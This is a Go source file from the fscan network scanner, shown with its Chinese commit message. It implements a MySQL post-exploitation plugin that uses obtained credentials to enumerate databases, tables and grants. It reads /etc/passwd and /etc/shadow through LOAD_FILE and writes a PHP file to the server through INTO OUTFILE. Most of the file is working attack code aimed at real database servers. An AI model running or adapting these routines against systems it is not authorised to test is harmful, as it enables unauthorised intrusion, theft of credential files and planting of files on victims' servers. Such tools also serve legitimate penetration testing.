fscan/Plugins/services/mysql/exploiter.go
ZacharyZcR 43f210ffc6 feat: 实现新一代插件注册系统完全替代传统手动注册模式
- 重构插件注册架构采用现代工厂模式和自动发现机制
- 新增完整的插件元数据管理系统支持版本能力标签等信息
- 实现智能插件适配器提供向后兼容的桥接功能
- 建立MySQL Redis SSH三个标准插件作为新架构参考实现
- 优化插件扫描逻辑支持按端口按类型的智能查询和过滤
- 添加国际化支持和完善的文档体系
- 代码量减少67%维护成本大幅降低扩展性显著提升

新架构特点:
- 零配置插件注册import即用
- 工厂模式延迟初始化和依赖注入
- 丰富元数据系统和能力声明
- 完全解耦的模块化设计
- 面向未来的可扩展架构

测试验证: MySQL和Redis插件功能完整包括弱密码检测未授权访问检测和自动利用攻击
2025-08-07 11:28:34 +08:00

374 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package mysql
import (
"context"
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"strconv"
"strings"
)
// MySQLExploiter MySQL利用器实现
type MySQLExploiter struct {
*base.BaseExploiter
connector *MySQLConnector
}
// NewMySQLExploiter 创建MySQL利用器
func NewMySQLExploiter() *MySQLExploiter {
exploiter := &MySQLExploiter{
BaseExploiter: base.NewBaseExploiter("mysql"),
connector: NewMySQLConnector(),
}
// 添加利用方法
exploiter.setupExploitMethods()
return exploiter
}
// setupExploitMethods 设置利用方法
func (e *MySQLExploiter) setupExploitMethods() {
// 1. 信息收集
infoMethod := base.NewExploitMethod(base.ExploitDataExtraction, "information_gathering").
WithDescription("收集MySQL服务器信息").
WithPriority(8).
WithConditions("has_credentials").
WithHandler(e.exploitInformationGathering).
Build()
e.AddExploitMethod(infoMethod)
// 2. 数据库枚举
enumMethod := base.NewExploitMethod(base.ExploitDataExtraction, "database_enumeration").
WithDescription("枚举数据库和表").
WithPriority(7).
WithConditions("has_credentials").
WithHandler(e.exploitDatabaseEnumeration).
Build()
e.AddExploitMethod(enumMethod)
// 3. 用户权限检查
privMethod := base.NewExploitMethod(base.ExploitDataExtraction, "privilege_check").
WithDescription("检查用户权限").
WithPriority(6).
WithConditions("has_credentials").
WithHandler(e.exploitPrivilegeCheck).
Build()
e.AddExploitMethod(privMethod)
// 4. 文件读取如果有FILE权限
fileReadMethod := base.NewExploitMethod(base.ExploitDataExtraction, "file_read").
WithDescription("读取服务器文件").
WithPriority(9).
WithConditions("has_credentials").
WithHandler(e.exploitFileRead).
Build()
e.AddExploitMethod(fileReadMethod)
// 5. 文件写入如果有FILE权限
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "file_write").
WithDescription("写入文件到服务器").
WithPriority(10).
WithConditions("has_credentials").
WithHandler(e.exploitFileWrite).
Build()
e.AddExploitMethod(fileWriteMethod)
}
// exploitInformationGathering 信息收集利用
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
// 获取版本信息
version, err := e.getVersion(ctx, db)
if err == nil {
base.AddOutputToResult(result, fmt.Sprintf("MySQL版本: %s", version))
result.Extra["version"] = version
}
// 获取当前用户
user, err := e.getCurrentUser(ctx, db)
if err == nil {
base.AddOutputToResult(result, fmt.Sprintf("当前用户: %s", user))
result.Extra["current_user"] = user
}
// 获取当前数据库
database, err := e.getCurrentDatabase(ctx, db)
if err == nil {
base.AddOutputToResult(result, fmt.Sprintf("当前数据库: %s", database))
result.Extra["current_database"] = database
}
return result, nil
}
// exploitDatabaseEnumeration 数据库枚举利用
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
// 枚举数据库
databases, err := e.enumerateDatabases(ctx, db)
if err == nil && len(databases) > 0 {
base.AddOutputToResult(result, fmt.Sprintf("发现数据库: %s", strings.Join(databases, ", ")))
result.Extra["databases"] = databases
}
// 枚举表(限制在非系统数据库中)
tables, err := e.enumerateTables(ctx, db)
if err == nil && len(tables) > 0 {
base.AddOutputToResult(result, fmt.Sprintf("发现表: %v", tables))
result.Extra["tables"] = tables
}
return result, nil
}
// exploitPrivilegeCheck 权限检查利用
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
// 检查用户权限
privileges, err := e.getUserPrivileges(ctx, db)
if err == nil && len(privileges) > 0 {
base.AddOutputToResult(result, fmt.Sprintf("用户权限: %s", strings.Join(privileges, ", ")))
result.Extra["privileges"] = privileges
}
// 检查是否有FILE权限
hasFilePriv := e.hasFilePrivilege(privileges)
result.Extra["has_file_privilege"] = hasFilePriv
if hasFilePriv {
base.AddOutputToResult(result, "检测到FILE权限可能支持文件操作")
}
return result, nil
}
// exploitFileRead 文件读取利用
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
}
defer db.Close()
// 尝试读取常见的敏感文件
filesToRead := []string{
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
}
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
hasRead := false
for _, file := range filesToRead {
content, err := e.readFile(ctx, db, file)
if err == nil && content != "" {
base.AddOutputToResult(result, fmt.Sprintf("读取文件 %s:\n%s", file, content))
hasRead = true
}
}
if !hasRead {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read",
fmt.Errorf("无法读取任何文件可能没有FILE权限")), nil
}
return result, nil
}
// exploitFileWrite 文件写入利用
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
// 尝试写入测试文件
testContent := "<?php echo 'MySQL File Write Test'; ?>"
testFile := "/tmp/mysql_test.php"
err = e.writeFile(ctx, db, testFile, testContent)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
}
base.AddOutputToResult(result, fmt.Sprintf("成功写入文件: %s", testFile))
base.AddFileToResult(result, testFile)
return result, nil
}
// =============================================================================
// MySQL操作辅助函数
// =============================================================================
// connectWithCredentials 使用凭据连接数据库
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
// 解析端口号
port, err := strconv.Atoi(info.Ports)
if err != nil {
return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
}
connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
db, err := sql.Open("mysql", connStr)
if err != nil {
return nil, err
}
// 测试连接
if err = db.PingContext(ctx); err != nil {
db.Close()
return nil, err
}
return db, nil
}
// buildConnectionString 构建连接字符串
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
if common.Socks5Proxy != "" {
return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
username, password, host, port)
}
return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
username, password, host, port)
}
// getVersion 获取MySQL版本
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
var version string
err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
return version, err
}
// getCurrentUser 获取当前用户
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
var user string
err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
return user, err
}
// getCurrentDatabase 获取当前数据库
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
var database string
err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
return database, err
}
// enumerateDatabases 枚举数据库
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
rows, err := db.QueryContext(ctx, "SHOW DATABASES")
if err != nil {
return nil, err
}
defer rows.Close()
var databases []string
for rows.Next() {
var dbName string
if err := rows.Scan(&dbName); err != nil {
continue
}
databases = append(databases, dbName)
}
return databases, nil
}
// enumerateTables 枚举表
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
rows, err := db.QueryContext(ctx, `
SELECT TABLE_SCHEMA, TABLE_NAME
FROM information_schema.TABLES
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
LIMIT 50
`)
if err != nil {
return nil, err
}
defer rows.Close()
tables := make(map[string][]string)
for rows.Next() {
var schema, table string
if err := rows.Scan(&schema, &table); err != nil {
continue
}
tables[schema] = append(tables[schema], table)
}
return tables, nil
}
// getUserPrivileges 获取用户权限
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
rows, err := db.QueryContext(ctx, "SHOW GRANTS")
if err != nil {
return nil, err
}
defer rows.Close()
var privileges []string
for rows.Next() {
var grant string
if err := rows.Scan(&grant); err != nil {
continue
}
privileges = append(privileges, grant)
}
return privileges, nil
}
// hasFilePrivilege 检查是否有FILE权限
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
for _, priv := range privileges {
if strings.Contains(strings.ToUpper(priv), "FILE") {
return true
}
}
return false
}
// readFile 读取文件
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
var content string
query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
err := db.QueryRowContext(ctx, query).Scan(&content)
return content, err
}
// writeFile 写入文件
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
_, err := db.ExecContext(ctx, query)
return err
}